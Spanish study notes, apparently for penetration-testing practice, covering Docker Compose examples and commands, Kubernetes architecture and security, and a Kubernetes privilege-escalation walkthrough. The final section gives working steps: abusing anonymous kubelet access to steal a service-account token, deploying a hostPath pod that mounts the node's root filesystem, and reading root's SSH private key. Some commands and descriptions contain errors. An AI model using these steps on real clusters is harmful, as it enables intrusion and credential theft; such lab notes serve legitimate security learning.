3.2. Ejemplos de Docker compose
Ejemplo:
services:
mysql:
image: mysql:8.0 # imagen base
container_name: mysql-db # nombre del contenedor (--name mysql-db)
ports: # puertos expuestos (-p 3306:3306)
- "3306:3306"
enviroment: # variables de entorno (-e)
MYSQL_ROOT_PASSWORD: asdfgh
MYSQL_DATABASE: appdb
MYSQL_USER: appuser
MYSQL_PASSWORD: pass123
volumes: # volúmenes (-v mysql_data:/var/lib/mysql)
- mysql_data:/var/lib/mysql
Construido a partir de la estructura de este Dockerfile
docker run -dit --name mysql-db -p 3306:3306 -v mysql_data:/var/lib/mysql \
-e MYSQL_ROOT_PASSWORD=asdfgh -e MYSQL_DATABASE=appdb -e MYSQL_USER=appuser -e MYSQL_PASSWORD=pass123 \
mysql:8.0
Ejemplo de mysql
version: '3.8'
services:
db:
image: mysql:8.0
container_name: wordpress_db
restart: always
env_file: .env
environment:
MYSQL_DATABASE: ${MYSQL_DB}
MYSQL_USER: ${MYSQL_USER}
MYSQL_PASSWORD: ${MYSQL_PASS}
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASS}
volumes:
- ./db_data:/var/lib/mysql
wordpress:
image: wordpress:latest
container_name: wordpress_app
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: ${WP_DB_HOST}
WORDPRESS_DB_USER: ${WP_DB_USER}
WORDPRESS_DB_PASSWORD: ${WP_DB_PASS}
WORDPRESS_DB_NAME: ${WP_DB_NAME}
depends_on:
- db
volumes:
- ./wp_data:/var/www/html
3.3. Comandos de docker compose
| Descripción | Comando |
|---|---|
| Desplegar los contenedores en segundo plano | docker compose up -d |
| Ver los estados y nombres de los contenedores | docker compose ps |
| Ver el estado de un contenedor en concreto | docker compose ps <contenedor> |
| Ver los logs en tiempo real de un contenedor | docker compose log <contenedor> |
| Ejecutar un comando en un contenedor | docker compose exec <contenedor> <comando> |
| Ver en yaml la configuración del contenedor | docker compose version |
| Parar los contenedores | docker compose stop |
| Eliminar los contenedores | docker compose down |
| Eliminar contenedores y volúmenes | docker compose down -v |
4. Kubernetes
Kubernetes (K8s) es una plataforma que automatiza el despliegue, la gestión y el escalado de aplicaciones basadas en contenedores para corregir problemas de escalado o balanceo de carga.
Su unidad básica es el pod, que puede contener uno o varios contenedores que comparten red y almacenamiento. Cada pod tiene su propia IP, nombre de host y se ejecuta en un nodo del clúster.
4.1. Arquitectura
Un clúster de Kubernetes está formado por dos tipos de nodos:
- Plano de Control (Control Plane o nodo maestro): administra el clúster, toma decisiones y mantiene el estado deseado del sistema.
- Nodos Trabajadores (Worker Nodes o minions): ejecutan los pods que contienen las aplicaciones y siguen las instrucciones del Plano de Control.
El Plano de Control coordina el funcionamiento del clúster mediante varios componentes principales:
| Componente | Función | Puerto |
|---|---|---|
| etcd | Almacena la configuración y el estado del clúster. | 2379, 2380 |
| API Server | Punto de entrada para todas las solicitudes y comandos administrativos. | 6443 |
| Scheduler (panificador) | Decide en qué nodo se ejecutará cada nuevo pod según los recursos disponibles. | 10251 |
| Controller Manager | Supervisa el estado del clúster y realiza acciones para mantener el estado deseado. | 10252 |
| Kubelet API | Permite la comunicación entre el Plano de Control y los nodos trabajadores. | 10250 y 10255 |
Cuando se crea un nuevo pod, el proceso es el siguiente: 1. La solicitud llega al API Server. 2. El Scheduler consulta el estado del clúster y selecciona el nodo más adecuado para ejecutar el pod. 3. El API Server registra esa decisión en etcd. 4. El Kubelet del nodo seleccionado recibe la orden y crea el pod.
De esta forma, el Plano de Control supervisa continuamente el clúster para garantizar que el estado real coincida con el estado deseado.
4.2. Seguridad
La seguridad de Kubernetes suele dividirse en cuatro áreas principales:
- Seguridad de la infraestructura del clúster: protección de los nodos, la red y el sistema operativo.
- Seguridad de la configuración del clúster: control de permisos, autenticación, autorización y configuración de Kubernetes.
- Seguridad de las aplicaciones: protección de los contenedores, imágenes y servicios desplegados.
- Seguridad de los datos: protección de la información almacenada y de los secretos utilizados por las aplicaciones.
Para la autenticación, kubernetes permite elegir entre varios métodos (certificados, basic auth...) y para la autorización, se emplea un mecanismo RBAC (acceso basado en roles)
⚠️ En Kubernetes, el Kubelet por defecto permite el acceso anónimo (
System:anonymous). Estas son peticiones sin autenticar, sin un certificado de cliente válido. Aun así hay que autenticarse para acceder a la ruta raíz
4.3. Escalada de privilegios
Para analizar los pods, podemos usar la api curl https://10.129.10.11:10250/pods -k | jq . pero tambien su propio cliente
kubeletctl -i --server 10.129.10.11 pods
# POD NAMESPACE CONTAINERS
# 1 coredns-78fcd69978-zbwf9 kube-system coredns
# 2 nginx default nginx
Decibimos que queremos operar sobre el pod nginx y el contenedor nginx, así que creamos una función
anon_api() { kubeletctl -i --server 10.129.10.11 exec "$1" -p nginx -c nginx }
# Extraer el token
anon_api cat /var/run/secrets/kubernetes.io/serviceaccount/token | tee -a k8.token
# Extraer el certificado
anon_api cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | tee -a ca.crt
Luego creamos un pod malicioso
apiVersion: v1
kind: Pod
metadata:
name: privesc
namespace: default
spec:
containers:
- name: privesc
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
Ahora, vemos is tenemos permisos y subimos el pod malicioso
export token=${cat k8.token}
auth_api() { kubectl --token=$token --certificate-authority=ca.crt \
--server=https://10.129.10.11:6443 "$1" }
auth_api auth can-i --list # ver si podemos listar pods
auth_api apply -f privesc.yaml # crear el pod
auth_api get pods # Ver si lo hemos creado
kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc